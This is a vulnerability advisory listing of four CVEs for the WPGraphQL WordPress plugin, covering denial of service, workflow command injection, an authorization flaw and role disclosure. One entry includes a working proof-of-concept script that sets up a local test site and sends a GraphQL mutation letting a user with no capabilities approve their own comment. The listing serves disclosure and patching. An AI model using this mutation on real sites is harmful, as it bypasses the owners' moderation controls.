CVE-2021-47959 3 Wordpress, Wpengine, Wpgraphql 3 Wordpress, Wpgraphql, Wpgraphql 2026-05-15 7.5 High
WordPress Plugin WPGraphQL 1.3.5 contains a denial of service vulnerability that allows unauthenticated attackers to exhaust server resources by sending batched GraphQL queries with duplicated fields. Attackers can send POST requests to the GraphQL endpoint with amplified field duplication payloads to trigger server out-of-memory conditions and MySQL connection errors.

CVE-2026-27938 2 Wordpress, Wpgraphql 2 Wordpress, Wpgraphql 2026-04-17 7.7 High
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.9.1, the `wp-graphql/wp-graphql` repository contains a GitHub Actions workflow (`release.yml`) vulnerable to OS command injection through direct use of `${{ github.event.pull_request.body }}` inside a `run:` shell block. When a pull request from `develop` to `master` is merged, the PR body is injected verbatim into a shell command, allowing arbitrary command execution on the Actions runner. Version 2.9.1 contains a fix for the vulnerability.
CVE-2026-33290 2 Wordpress, Wpgraphql 2 Wordpress, Wpgraphql 2026-04-16 4.3 Medium
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
CVE-2019-25060 1 Wpgraphql 1 Wpgraphql 2024-11-21 5.3 Medium
The WPGraphQL WordPress plugin before 0.3.5 doesn't properly restrict access to information about other users' roles on the affected site. Because of this, a remote attacker could forge a GraphQL query to retrieve the account roles of every user on the site.
